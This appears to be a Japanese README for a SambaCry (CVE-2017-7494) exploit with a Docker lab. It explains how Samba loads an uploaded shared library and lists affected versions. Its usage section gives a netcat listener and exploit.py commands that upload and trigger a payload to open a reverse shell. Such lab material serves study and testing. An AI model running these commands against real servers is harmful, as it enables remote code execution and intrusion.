CVE-2017-7494/SambaCry は、認証済みユーザーが書き込み可能なフォルダに共有ライブラリをアップロードし、そのアップロードされたライブラリを用いて実行攻撃を行うことを可能にします。
SambaCry は、Samba が名前付きパイプ要求を処理する方法におけるパス検証の脆弱性です。 通常、これらのパイプは、ファイルのようなチャネルを通じてデータを読み書きすることでプログラム同士が通信できるようにするために使用されます。
Samba が未知のパイプ名を受け取ると、脆弱性のあるバージョンでは、それを動的にロード可能なモジュールの名前として扱う場合があります。
これらのモジュールは通常、管理者がインストールした正当な .so ライブラリです。
この脆弱性により、クライアントは通常のモジュールやパイプ名の代わりに絶対ファイルシステムパスを提供することができます。Samba はこのパスを適切に制限しないため、実質的に dlopen("/data/example.so", ...); を実行する可能性があります。
共有ライブラリをロードすると、その初期化コードが実行されます。したがって、悪意のある .so ファイルを書き込み可能な場所にアップロードできる攻撃者は、Samba サービスにそれをロードさせることができ、リモートコード実行につながります。
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
既にアップロードされたペイロードをトリガーする場合:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
事前作成済みの docker-compose.yml を使用して、脆弱なラボを初期化します。
docker compose up -d
このラボでは Samba 4.5.9 を使用しています。これはこの脆弱性の影響を受けます。
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3